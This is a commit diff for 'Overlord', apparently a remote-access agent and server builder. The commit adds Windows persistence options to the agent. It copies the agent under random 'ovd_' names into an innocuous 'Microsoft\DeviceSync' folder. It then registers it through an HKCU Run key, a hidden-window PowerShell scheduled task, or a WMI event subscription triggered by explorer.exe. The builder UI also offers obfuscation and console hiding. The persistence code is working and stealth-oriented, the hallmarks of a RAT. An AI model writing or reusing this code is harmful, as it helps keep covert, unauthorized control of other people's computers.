add more persistence options and fix startup detections. Also bump version to 1.3.5

Overlord-Client/cmd/agent/config/config.go

@@ -17,7 +17,7 @@ import (
 	"time"
 )
 
-var AgentVersion = "1.3.4"
+var AgentVersion = "1.3.5"
 
 var DefaultPersistence = "false"
 var DefaultServerURL = "wss://127.0.0.1:5173"

Overlord-Client/cmd/agent/persistence/persistence.go

@@ -5,6 +5,8 @@ import (
 	"path/filepath"
 )
 
+var DefaultPersistenceMethod = "startup"
+
 func Setup() error {
 	exePath, err := os.Executable()
 	if err != nil {

Overlord-Client/cmd/agent/persistence/persistence_windows.go

@@ -5,42 +5,86 @@ package persistence
 
 import (
 	"crypto/rand"
+	"crypto/sha256"
 	"encoding/hex"
 	"fmt"
 	"io"
 	"os"
+	"os/exec"
 	"path/filepath"
 	"strings"
+	"syscall"
 
 	"golang.org/x/sys/windows/registry"
 )
 
-const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
+const (
-const startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup`
+	registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
-const startupExecutablePrefix = "ovd_"
 
-const legacyRegistryValueName = "OverlordAgent"
+	startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup`
-const registryValuePrefix = "OverlordAgent-"
+
+	appDataBinaryDir = `Microsoft\DeviceSync`
+
+	startupExecutablePrefix = "ovd_"
+	taskNamePrefix          = "ovd_"
+
+	legacyRegistryValueName = "OverlordAgent"
+	registryValuePrefix     = "OverlordAgent-"
+
+	createNoWindow = 0x08000000
+)
+
+func activeMethod() string {
+	m := strings.ToLower(strings.TrimSpace(DefaultPersistenceMethod))
+	switch m {
+	case "registry", "taskscheduler", "wmi":
+		return m
+	default:
+		return "startup"
+	}
+}
 
 func getTargetPath() (string, error) {
+	switch activeMethod() {
+	case "registry", "taskscheduler", "wmi":
+		return getAppDataTargetPath()
+	default:
+		return getStartupFolderTargetPath()
+	}
+}
+
+func getStartupFolderTargetPath() (string, error) {
 	appDataDir := os.Getenv("APPDATA")
 	if appDataDir == "" {
 		return "", fmt.Errorf("APPDATA environment variable not set")
 	}
-
 	startupDir := filepath.Join(appDataDir, startupFolderRelative)
-	if existing, ok := findExistingStartupExecutable(startupDir); ok {
+	if existing, ok := findExistingBinaryInDir(startupDir); ok {
 		return existing, nil
 	}
-
+	name, err := generateBinaryName()
-	name, err := generateStartupExecutableName()
 	if err != nil {
 		return "", err
 	}
-
 	return filepath.Join(startupDir, name), nil
 }
 
+func getAppDataTargetPath() (string, error) {
+	appDataDir := os.Getenv("APPDATA")
+	if appDataDir == "" {
+		return "", fmt.Errorf("APPDATA environment variable not set")
+	}
+	dir := filepath.Join(appDataDir, appDataBinaryDir)
+	if existing, ok := findExistingBinaryInDir(dir); ok {
+		return existing, nil
+	}
+	name, err := generateBinaryName()
+	if err != nil {
+		return "", err
+	}
+	return filepath.Join(dir, name), nil
+}
+
 func getLegacyTargetPath() (string, bool) {
 	appDataDir := os.Getenv("APPDATA")
 	if appDataDir == "" {
@@ -49,56 +93,160 @@ func getLegacyTargetPath() (string, bool) {
 	return filepath.Join(appDataDir, "Overlord", "agent.exe"), true
 }
 
-func findExistingStartupExecutable(startupDir string) (string, bool) {
+func findExistingBinaryInDir(dir string) (string, bool) {
-	entries, err := os.ReadDir(startupDir)
+	entries, err := os.ReadDir(dir)
 	if err != nil {
 		return "", false
 	}
-
 	for _, entry := range entries {
 		if entry.IsDir() {
 			continue
 		}
 		name := strings.ToLower(entry.Name())
-		if !strings.HasSuffix(name, ".exe") {
+		if strings.HasSuffix(name, ".exe") && strings.HasPrefix(name, startupExecutablePrefix) {
-			continue
+			return filepath.Join(dir, entry.Name()), true
-		}
-		if strings.HasPrefix(name, startupExecutablePrefix) {
-			return filepath.Join(startupDir, entry.Name()), true
 		}
 	}
-
 	return "", false
 }
 
-func generateStartupExecutableName() (string, error) {
+func findExistingStartupExecutable(startupDir string) (string, bool) {
+	return findExistingBinaryInDir(startupDir)
+}
+
+func generateBinaryName() (string, error) {
 	b := make([]byte, 6)
 	if _, err := rand.Read(b); err != nil {
-		return "", fmt.Errorf("failed to generate startup executable name: %w", err)
+		return "", fmt.Errorf("failed to generate executable name: %w", err)
 	}
 	return startupExecutablePrefix + hex.EncodeToString(b) + ".exe", nil
 }
 
-func install(exePath string) error {
+func generateStartupExecutableName() (string, error) {
+	return generateBinaryName()
+}
 
+func deriveTaskName(targetPath string) string {
+	h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath))))
+	return taskNamePrefix + hex.EncodeToString(h[:4])
+}
+
+func deriveWMINames(targetPath string) (filterName, consumerName string) {
+	h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath))))
+	suffix := hex.EncodeToString(h[:4])
+	return taskNamePrefix + "f" + suffix, taskNamePrefix + "c" + suffix
+}
+
+func runPowerShell(script string) error {
+	cmd := exec.Command("powershell.exe",
+		"-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden",
+		"-Command", script)
+	cmd.SysProcAttr = &syscall.SysProcAttr{
+		HideWindow:    true,
+		CreationFlags: createNoWindow,
+	}
+	out, err := cmd.CombinedOutput()
+	if err != nil {
+		return fmt.Errorf("powershell: %w: %s", err, strings.TrimSpace(string(out)))
+	}
+	return nil
+}
+
+func installStartupFolder(_ string) error {
+	return nil
+}
+
+func installRegistry(targetPath string) error {
+	k, err := registry.OpenKey(registry.CURRENT_USER, registryKey,
+		registry.QUERY_VALUE|registry.SET_VALUE)
+	if err != nil {
+		return fmt.Errorf("failed to open HKCU Run key: %w", err)
+	}
+	defer k.Close()
+
+	names, _ := k.ReadValueNames(0)
+	for _, name := range names {
+		if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) {
+			return k.SetStringValue(name, fmt.Sprintf(`"%s"`, targetPath))
+		}
+	}
+
+	b := make([]byte, 4)
+	if _, err := rand.Read(b); err != nil {
+		return fmt.Errorf("failed to generate registry value name: %w", err)
+	}
+	valueName := registryValuePrefix + hex.EncodeToString(b)
+	return k.SetStringValue(valueName, fmt.Sprintf(`"%s"`, targetPath))
+}
+
+func installTaskScheduler(targetPath string) error {
+	taskName := deriveTaskName(targetPath)
+	safe := strings.ReplaceAll(targetPath, "'", "''")
+	// Notes on PowerShell parameter syntax used here:
+	//   -ExecutionTimeLimit: expects a TimeSpan; ([TimeSpan]::Zero) disables the limit.
+	//   -StartWhenAvailable: SwitchParameter — must be bare or use colon syntax (:$true);
+	//     writing "-StartWhenAvailable $true" (with space) makes $true a positional arg, which errors.
+	script := fmt.Sprintf(
+		`$a = New-ScheduledTaskAction -Execute '%s'; `+
+			`$t = New-ScheduledTaskTrigger -AtLogOn; `+
+			`$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+
+			`Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Force | Out-Null`,
+		safe, taskName)
+	return runPowerShell(script)
+}
+
+func installWMI(targetPath string) error {
+	filterName, consumerName := deriveWMINames(targetPath)
+	safe := strings.ReplaceAll(targetPath, "'", "''")
+	script := fmt.Sprintf(
+		`$f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance(); `+
+			`$f.QueryLanguage = 'WQL'; `+
+			`$f.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 30 `+
+			`WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"; `+
+			`$f.Name = '%s'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); `+
+			`$c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance(); `+
+			`$c.Name = '%s'; $c.ExecutablePath = '%s'; $null = $c.Put(); `+
+			`$b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance(); `+
+			`$b.Filter = "\\.\root\subscription:__EventFilter.Name='%s'"; `+
+			`$b.Consumer = "\\.\root\subscription:CommandLineEventConsumer.Name='%s'"; `+
+			`$null = $b.Put()`,
+		filterName, consumerName, safe, filterName, consumerName)
+	return runPowerShell(script)
+}
+
+func install(exePath string) error {
 	targetPath, err := getTargetPath()
 	if err != nil {
 		return err
 	}
 
-	startupDir := filepath.Dir(targetPath)
+	dir := filepath.Dir(targetPath)
-	err = os.MkdirAll(startupDir, 0755)
+	if err := os.MkdirAll(dir, 0755); err != nil {
-	if err != nil {
+		return fmt.Errorf("failed to create directory: %w", err)
-		return fmt.Errorf("failed to create startup directory: %w", err)
 	}
 
 	if err := replaceExecutable(exePath, targetPath); err != nil {
 		return err
 	}
 
-	if err := cleanupLegacyRunValues(); err != nil {
+	switch activeMethod() {
-		return fmt.Errorf("failed to clean legacy startup registry values: %w", err)
+	case "registry":
+		if err := installRegistry(targetPath); err != nil {
+			return fmt.Errorf("failed to install registry persistence: %w", err)
 		}
+	case "taskscheduler":
+		if err := installTaskScheduler(targetPath); err != nil {
+			return fmt.Errorf("failed to install task scheduler persistence: %w", err)
+		}
+	case "wmi":
+		if err := installWMI(targetPath); err != nil {
+			return fmt.Errorf("failed to install WMI persistence: %w", err)
+		}
+	}
+
+	// Best-effort cleanup of legacy registry entries from older versions.
+	// Don't fail persistence setup if cleanup is denied due to insufficient permissions.
+	_ = cleanupLegacyRunValues()
 
 	return nil
 }
@@ -139,7 +287,6 @@ func replaceExecutable(exePath, targetPath string) error {
 		}
 		return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
 	}
-
 	return nil
 }
 
@@ -155,36 +302,43 @@ func configure(exePath string) error {
 		}
 	}
 
-	if err := cleanupLegacyRunValues(); err != nil {
+	switch activeMethod() {
-		return fmt.Errorf("failed to clean legacy startup registry values: %w", err)
+	case "registry":
+		if err := installRegistry(targetPath); err != nil {
+			return fmt.Errorf("failed to reconfigure registry persistence: %w", err)
+		}
+	case "taskscheduler":
+		if err := installTaskScheduler(targetPath); err != nil {
+			return fmt.Errorf("failed to reconfigure task scheduler persistence: %w", err)
+		}
+	case "wmi":
+		if err := installWMI(targetPath); err != nil {
+			return fmt.Errorf("failed to reconfigure WMI persistence: %w", err)
+		}
+	default:
+		// Best-effort cleanup of legacy registry entries from older versions.
+		// Don't fail persistence setup if cleanup is denied due to insufficient permissions.
+		_ = cleanupLegacyRunValues()
 	}
 
 	return nil
 }
 
 func uninstall() error {
-	if err := cleanupLegacyRunValues(); err != nil {
+	_ = cleanupLegacyRunValues()
-		return fmt.Errorf("failed to clean startup registry values: %w", err)
+
-	}
+	_ = uninstallTaskScheduler()
+
+	_ = uninstallWMI()
 
 	appDataDir := os.Getenv("APPDATA")
 	if appDataDir == "" {
 		return nil
 	}
 
-	startupDir := filepath.Join(appDataDir, startupFolderRelative)
+	_ = cleanupPrefixedExecutables(filepath.Join(appDataDir, startupFolderRelative))
-	if err := cleanupPrefixedExecutables(startupDir); err != nil {
+	_ = cleanupPrefixedExecutables(filepath.Join(appDataDir, appDataBinaryDir))
-		return err
+	_ = cleanupPrefixedExecutables(filepath.Join(appDataDir, "Overlord"))
-	}
-
-	if err := cleanupPrefixedExecutables(filepath.Join(appDataDir, "Overlord")); err != nil {
-		return err
-	}
-
-	targetPath, err := getTargetPath()
-	if err == nil {
-		_ = os.Remove(targetPath)
-	}
 
 	if legacyPath, ok := getLegacyTargetPath(); ok {
 		_ = os.Remove(legacyPath)
@@ -193,6 +347,26 @@ func uninstall() error {
 	return nil
 }
 
+func uninstallTaskScheduler() error {
+	return runPowerShell(
+		`Get-ScheduledTask -ErrorAction SilentlyContinue | ` +
+			`Where-Object { $_.TaskName -like 'ovd_*' } | ` +
+			`Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`)
+}
+
+func uninstallWMI() error {
+	return runPowerShell(
+		`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding ` +
+			`-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*ovd_*" } | ` +
+			`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
+			`Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer ` +
+			`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
+			`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
+			`Get-WmiObject -Namespace root\subscription -Class __EventFilter ` +
+			`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
+			`Remove-WmiObject -ErrorAction SilentlyContinue`)
+}
+
 func cleanupPrefixedExecutables(dir string) error {
 	entries, err := os.ReadDir(dir)
 	if err != nil {
@@ -218,7 +392,8 @@ func cleanupPrefixedExecutables(dir string) error {
 }
 
 func cleanupLegacyRunValues() error {
-	k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
+	k, err := registry.OpenKey(registry.CURRENT_USER, registryKey,
+		registry.QUERY_VALUE|registry.SET_VALUE)
 	if err != nil {
 		if err == registry.ErrNotExist {
 			return nil
@@ -226,7 +401,6 @@ func cleanupLegacyRunValues() error {
 		return fmt.Errorf("failed to open registry key: %w", err)
 	}
 	defer k.Close()
-
 	return cleanupOverlordRunValues(k)
 }
 
@@ -235,7 +409,6 @@ func cleanupOverlordRunValues(k registry.Key) error {
 	if err != nil {
 		return err
 	}
-
 	for _, name := range names {
 		if isOverlordRunValueName(name) {
 			if err := k.DeleteValue(name); err != nil && err != registry.ErrNotExist {
@@ -243,7 +416,6 @@ func cleanupOverlordRunValues(k registry.Key) error {
 			}
 		}
 	}
-
 	return nil
 }
 

Overlord-Server/package.json

@@ -1,6 +1,6 @@
 {
   "name": "overlord-server",
-  "version": "1.3.4",
+  "version": "1.3.5",
   "private": true,
   "type": "module",
   "scripts": {

Overlord-Server/public/assets/build.js

@@ -75,6 +75,18 @@ if (rawServerListCheckbox && serverUrlInput) {
   });
 }
 
+const persistenceCheckbox = document.querySelector('input[name="enable-persistence"]');
+const persistenceMethodContainer = document.getElementById("persistence-method-container");
+if (persistenceCheckbox && persistenceMethodContainer) {
+  persistenceCheckbox.addEventListener("change", () => {
+    if (persistenceCheckbox.checked) {
+      persistenceMethodContainer.classList.remove("hidden");
+    } else {
+      persistenceMethodContainer.classList.add("hidden");
+    }
+  });
+}
+
 async function init() {
   try {
     updateServerUrlPlaceholder();
@@ -191,6 +203,7 @@ form?.addEventListener("submit", async (e) => {
   const enablePersistence = form.querySelector(
     'input[name="enable-persistence"]',
   ).checked;
+  const persistenceMethod = form.querySelector('#persistence-method')?.value || 'startup';
   const hideConsole = form.querySelector(
     'input[name="hide-console"]',
   ).checked;
@@ -208,6 +221,7 @@ form?.addEventListener("submit", async (e) => {
     disableCgo,
     obfuscate,
     enablePersistence,
+    persistenceMethod: enablePersistence ? persistenceMethod : undefined,
     hideConsole,
     noPrinting,
   };

Overlord-Server/public/build.html

@@ -322,6 +322,30 @@
                       >
                     </div>
                   </label>
+                  <!-- Persistence method selector – Windows only, shown when persistence is enabled -->
+                  <div
+                    id="persistence-method-container"
+                    class="hidden pl-3 border-l-2 border-orange-500/40"
+                  >
+                    <label
+                      class="block text-xs font-medium text-slate-400 mb-1"
+                      for="persistence-method"
+                      >Windows Persistence Method</label
+                    >
+                    <select
+                      id="persistence-method"
+                      name="persistence-method"
+                      class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors"
+                    >
+                      <option value="startup">Startup Folder (APPDATA)</option>
+                      <option value="registry">Registry (HKCU Run key)</option>
+                      <option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
+                      <option value="wmi">WMI Subscription (requires admin)</option>
+                    </select>
+                    <p class="text-xs text-slate-500 mt-1">
+                      Method used on Windows; other platforms use their native mechanism
+                    </p>
+                  </div>
                   <label
                     class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-500 transition-colors"
                     title="Windows only: build without a console window"

Overlord-Server/src/build/types.ts

@@ -18,6 +18,7 @@ export type BuildConfig = {
   disableCgo?: boolean;
   obfuscate?: boolean;
   enablePersistence?: boolean;
+  persistenceMethod?: string;
   hideConsole?: boolean;
   noPrinting?: boolean;
 };

Overlord-Server/src/server/build-process.ts

@@ -61,10 +61,13 @@ type BuildProcessConfig = {
   disableCgo?: boolean;
   obfuscate?: boolean;
   enablePersistence?: boolean;
+  persistenceMethod?: string;
   hideConsole?: boolean;
   noPrinting?: boolean;
 };
 
+const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
+
 type BuildProcessDeps = {
   generateBuildMutex: (length?: number) => string;
   sanitizeOutputName: (name: string) => string;
@@ -307,6 +310,11 @@ export async function startBuildProcess(
           const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true";
           ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag;
           sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" });
+          if (os === 'windows' && config.persistenceMethod && VALID_PERSISTENCE_METHODS.has(config.persistenceMethod)) {
+            const methodFlag = `-X overlord-client/cmd/agent/persistence.DefaultPersistenceMethod=${config.persistenceMethod}`;
+            ldflags = `${ldflags} ${methodFlag}`;
+            sendToStream({ type: "output", text: `Persistence method: ${config.persistenceMethod}\n`, level: "info" });
+          }
         } else {
           sendToStream({ type: "output", text: `Persistence is not supported on ${platform}, skipping...\n`, level: "warning" });
         }

Overlord-Server/src/server/routes/build-routes.ts

@@ -46,6 +46,7 @@ export async function handleBuildRoutes(
         disableCgo,
         obfuscate,
         enablePersistence,
+        persistenceMethod,
         mutex,
         disableMutex,
         hideConsole,
@@ -112,6 +113,11 @@ export async function handleBuildRoutes(
       });
 
       const safeNoPrinting = !!noPrinting;
+      const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
+      const safePersistenceMethod =
+        typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase())
+          ? persistenceMethod.toLowerCase()
+          : 'startup';
       deps.startBuildProcess(buildId, {
         platforms: allowedPlatforms,
         serverUrl: safeServerUrl,
@@ -122,6 +128,7 @@ export async function handleBuildRoutes(
         disableCgo,
         obfuscate: !!obfuscate,
         enablePersistence,
+        persistenceMethod: safePersistenceMethod,
         hideConsole: !!hideConsole,
         noPrinting: safeNoPrinting,
       });

Overlord-Server/src/version.ts

@@ -1 +1 @@
-export const SERVER_VERSION = "1.3.4";
+export const SERVER_VERSION = "1.3.5";